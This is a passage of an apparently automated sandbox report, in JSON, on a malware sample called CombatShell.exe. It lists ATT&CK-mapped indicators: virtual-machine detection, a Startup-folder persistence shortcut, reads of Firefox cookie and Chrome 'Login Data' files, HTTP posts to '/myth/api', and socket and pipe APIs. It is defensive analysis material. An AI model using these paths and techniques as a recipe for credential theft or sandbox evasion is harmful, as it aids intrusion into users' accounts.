API)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Found a reference to an external IP address lookup service"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Attempts to detect virtual machine (file access)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Tries to identify its external IP address"}],"origin":"Indicator Combinations","attck_id":"T1480","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1480","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-263","type":6,"relevance":1,"name":"Touches files","description":"$3c","description_v2":["\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\bcrypt.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\dwmapi.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\opengl32.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\UIAutomationCore.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\userenv.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\uxtheme.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\glu32.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\cryptbase.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\DXCore.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\en-US\\user32.dll.mui\"","\"CombatShell.exe\" trying to touch file \"C:\\WINDOWS\\system32\\rpcss.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\rpcss.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\kernel.appcore.dll\"","\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\kernel.appcore.dll\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"%WINDIR%\\System32\\bcrypt.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\dwmapi.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\opengl32.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\UIAutomationCore.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\userenv.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\uxtheme.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\glu32.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\cryptbase.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\DXCore.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\en-US\\user32.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\WINDOWS\\system32\\rpcss.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\rpcss.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\kernel.appcore.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to touch file \"C:\\Windows\\System32\\kernel.appcore.dll\""}],"origin":"API Call","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-55","type":6,"relevance":7,"name":"Touches files in the Windows directory","description":"\"CombatShell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\"\n \"CombatShell.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\"","description_v2":["\"CombatShell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\"","\"CombatShell.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\""}],"origin":"API Call","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-126","type":6,"relevance":3,"name":"Tries to access non-existent files (executable)","description":"$3d","description_v2":["\"CombatShell.exe\" trying to access non-existent file \"C:\\vm3dgl64.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\vm3dglhelper64.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\WINMM.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\WindowsCodecs.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\ncrypt.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\NTASN1.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\secur32.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\SSPICLI.DLL\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmdum.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vm3dver.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmtray.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\VMToolsHook.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmmousever.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\DPAPI.dll\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\MSASN1.dll\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\vm3dgl64.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\vm3dglhelper64.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\WINMM.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"%WINDIR%\\odecs.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\ncrypt.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\NTASN1.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\secur32.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\SSPICLI.DLL\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmdum.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vm3dver.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmtray.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\VMToolsHook.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmmousever.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\DPAPI.dll\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\MSASN1.dll\""}],"origin":"API Call","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-161","type":6,"relevance":3,"name":"Tries to access non-existent files (non-executable)","description":"$3e","description_v2":["\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\SystemResources\\USER32.dll.mun\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmx_svga.sys\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmxnet.sys\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmscsi.sys\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\lfdjd4n4.default\\cookies.sqlite\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateRevocation\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\ClientSidePhishing\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Crowd Deny\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\FirstPartySetsPreloaded\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\GraphiteDawnCache\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\GrShaderCache\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\hyphen-data\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\MediaFoundationWidevineCdm\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\MEIPreload\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\OnDeviceHeadSuggestModel\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\OptimizationHints\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\PKIMetadata\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\PnaclTranslationCache\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\PrivacySandboxAttestationsPreloaded\\Login Data\"","\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\RecoveryImproved\\Login Data\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\SystemResources\\USER32.dll.mun\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmx_svga.sys\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmxnet.sys\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Windows\\System32\\drivers\\vmscsi.sys\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\lfdjd4n4.default\\cookies.sqlite\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\AutofillStates\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateRevocation\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\ClientSidePhishing\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Crowd Deny\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\FirstPartySetsPreloaded\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\GraphiteDawnCache\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\GrShaderCache\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\hyphen-data\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\MediaFoundationWidevineCdm\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\MEIPreload\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\OnDeviceHeadSuggestModel\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\OptimizationHints\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\PKIMetadata\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\PnaclTranslationCache\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\PrivacySandboxAttestationsPreloaded\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to access non-existent file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\RecoveryImproved\\Login Data\""}],"origin":"API Call","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-736","type":2,"relevance":1,"name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00005644-00000C2B-3480041402\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00005644-00000C2B-3480041402\")","Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00005644-00000C2B-3480041402\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1016","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1016","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"network-62","type":7,"relevance":1,"name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /\"\n Found http requests in header \"POST /myth/api\"","description_v2":["Found http requests in header \"GET /\"","Found http requests in header \"POST /myth/api\""],"description_v3":[{"type":"text","value":"Found http requests in header \"GET /\""},{"type":"linebreak"},{"type":"text","value":"Found http requests in header \"POST /myth/api\""}],"origin":"Network Traffic","attck_id":"T1071.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-228","type":2,"relevance":1,"name":"Contains ability to communicate with C2 using Sockets (API string)","description":"$3f","description_v2":["Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; File: \"CombatShell.exe\")","Found reference to API \"WSASendMsg\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")","Found reference to API \"WSASend\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")","Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"CombatShell.exe\")","Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")","Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; File: \"CombatShell.exe\")","Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSASendMsg\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASendMsg\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASendMsg\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1095","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1095","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-601","type":2,"relevance":1,"name":"Contains ability to communicate with network (API string)","description":"$40","description_v2":["Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; File: \"CombatShell.exe\")","Found reference to API \"WSASendMsg\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")","Found reference to API \"WSASend\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")","Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"CombatShell.exe\")","Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")","Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; File: \"CombatShell.exe\")","Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSASendMsg\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASendMsg\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASendMsg\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-210","type":2,"relevance":1,"name":"Contains ability to create/connect to a named pipe (API string)","description":"$41","description_v2":["Found reference to API \"CreateNamedPipeW\" (Indicator: \"CreateNamedPipe\"; File: \"CombatShell.exe\")","Found reference to API \"GetNamedPipeInfo\" (Indicator: \"GetNamedPipe\"; File: \"CombatShell.exe\")","Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"CombatShell.exe\")","Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; File: \"CombatShell.exe\")","Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"CreateNamedPipeW\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: 